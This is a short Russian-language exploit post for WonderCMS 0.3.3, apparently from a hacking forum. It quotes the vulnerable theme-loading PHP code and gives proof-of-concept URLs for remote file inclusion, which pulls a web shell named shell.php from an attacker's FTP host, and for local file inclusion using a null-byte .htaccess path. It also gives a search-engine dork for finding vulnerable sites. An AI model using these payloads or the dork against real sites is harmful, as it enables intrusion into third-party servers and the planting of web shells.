WonderCMS 0.3.3
http://krneky.com/en/wondercms -> разработчики.
RFI
allow_url_include on
PHP код:
/*...*/
$theme = $_REQUEST['theme'];
if( !$theme ) $theme = @file_get_contents("files/theme");
if( !file_exists("$theme.php") ) $theme = "default";
/*...*/
require("$theme.php");
/*...*/
Чтоб обойти file_exists() грузим на ftp, shell должен быть с названием shell.php
PoC:
Код:
http://localhost/wondercms/?theme=ftp://<user>:<password>@<host>:<port>/shell
LFI
magic_quotes_gpc off
PoC
Код:
http://localhost/wondercms/?theme=.htaccess%00
Дорк: intext:"Powered by WonderCMS"